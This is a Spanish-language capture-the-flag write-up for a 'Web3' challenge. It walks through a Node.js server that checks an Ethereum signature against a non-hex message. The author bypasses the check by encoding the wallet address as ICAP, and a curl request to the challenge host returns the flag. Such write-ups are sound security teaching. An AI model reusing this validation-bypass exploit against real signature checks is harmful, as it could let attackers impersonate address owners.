Web3
3 minutos de lectura
Se nos proporciona una aplicación en Node.js que usa Web3:
const express = require("express");
const ethers = require("ethers");
const path = require("path");
const app = express();
app.use(express.urlencoded());
app.use(express.json());
app.get("/", function(_req, res) {
  res.sendFile(path.join(__dirname + "/server.js"));
});
function isValidData(data) {
  if (/^0x[0-9a-fA-F]+$/.test(data)) {
    return true;
  }
  return false;
}
app.post("/exploit", async function(req, res) {
  try {
    const message = req.body.message;
    const signature = req.body.signature;
    if (!isValidData(signature) || isValidData(message)) {
      res.send("wrong data");
      return;
    }
    const signerAddr = ethers.verifyMessage(message, signature);
    if (signerAddr === ethers.getAddress(message)) {
      const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
      res.send(FLAG);
      return;
    }
  } catch (e) {
    console.error(e);
    res.send("error");
    return;
  }
  res.send("wrong");
  return;
});
const port = process.env.PORT || 3000;
app.listen(port);
console.log(`Server listening on port ${port}`);
Análisis del código fuente
El núcleo del reto está en /exploit:
app.post("/exploit", async function(req, res) {
  try {
    const message = req.body.message;
    const signature = req.body.signature;
    if (!isValidData(signature) || isValidData(message)) {
      res.send("wrong data");
      return;
    }
    const signerAddr = ethers.verifyMessage(message, signature);
    if (signerAddr === ethers.getAddress(message)) {
      const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
      res.send(FLAG);
      return;
    }
  } catch (e) {
    console.error(e);
    res.send("error");
    return;
  }
  res.send("wrong");
  return;
});
Como se puede ver, necesitamos proporcionar un mensaje y una firma de tal manera que la dirección del firmante sea igual al mensaje. Sin embargo, está presente esta verificacióno:
    if (!isValidData(signature) || isValidData(message)) {
      res.send("wrong data");
      return;
    }
Donde isValidData verifica que la string comienza con 0x y contiene solo dígitos hexadecimales:
function isValidData(data) {
  if (/^0x[0-9a-fA-F]+$/.test(data)) {
    return true;
  }
  return false;
}
Por lo tanto, la idea más fácil no funcionará porque message no puede ser hexadecimal (utilicé el código que aparece en la documentación para firmar un mensaje):
$ node
Welcome to Node.js v18.18.2.
Type ".help" for more information.
> const ethers = require("ethers")
undefined
> let privateKey = '0x0123456789012345678901234567890123456789012345678901234567890123'
undefined
> let wallet = new ethers.Wallet(privateKey)
undefined
> wallet.address
'0x14791697260E4c9A71f18484C9f997B308e59325'
> let message = wallet.address
undefined
> let signature = await wallet.signMessage(message)
undefined
> signature
'0x13f351764e6fd44361b2c86b25751d5e5dc2390648b1fed5061b48eb2f62fe8f1a6ff85a405690c8a5c5ebcb73bed617768d3e5b73aa36818f9d787085576a7b1b'
> ethers.verifyMessage(message, signature)
'0x14791697260E4c9A71f18484C9f997B308e59325'
> ethers.verifyMessage(message, signature) === ethers.getAddress(message)
true
Solución
Mientras leía la documentación de ethers, descubrí que las direcciones de billetera se pueden codificar como ICAP. De esta manera, el message ya no será hexadecimal, mientras que ethers.getAddress se comportará como queremos:
> message = ethers.getIcapAddress(wallet.address)
'XE172E3CNHDCSLM22QRROQPYXPALTWAQASL'
> signature = await wallet.signMessage(message)
'0x8b5b2dc42e9cfdcad7eff0e29e6d97ade701adc1fa526ea37c77eea0b54e66e26e72acb937976146db76081d70c04942261a0d6cceb2f1cbf17c54b418733ad61b'
> ethers.verifyMessage(message, signature)
'0x14791697260E4c9A71f18484C9f997B308e59325'
> ethers.verifyMessage(message, signature) === ethers.getAddress(message)
true
Entonces, si enviamos estos valores de message y signature, obtendremos la flag ya que message no es hexadecimal, signature sí es hexadecimal y la condición principal también se cumple.
Flag
Como acabo de decir:
$ curl web3.balsnctf.com:3000/exploit -d '{"message":"XE172E3CNHDCSLM22QRROQPYXPALTWAQASL","signature":"0x8b5b2dc42e9cfdcad7eff0e29e6d97ade701adc1fa526ea37c77eea0b54e66e26e72acb937976146db76081d70c04942261a0d6cceb2f1cbf17c54b418733ad61b"}' -H 'Content-Type: application/json'
BALSN{Inter_Exchange_Client_Address_Protocol}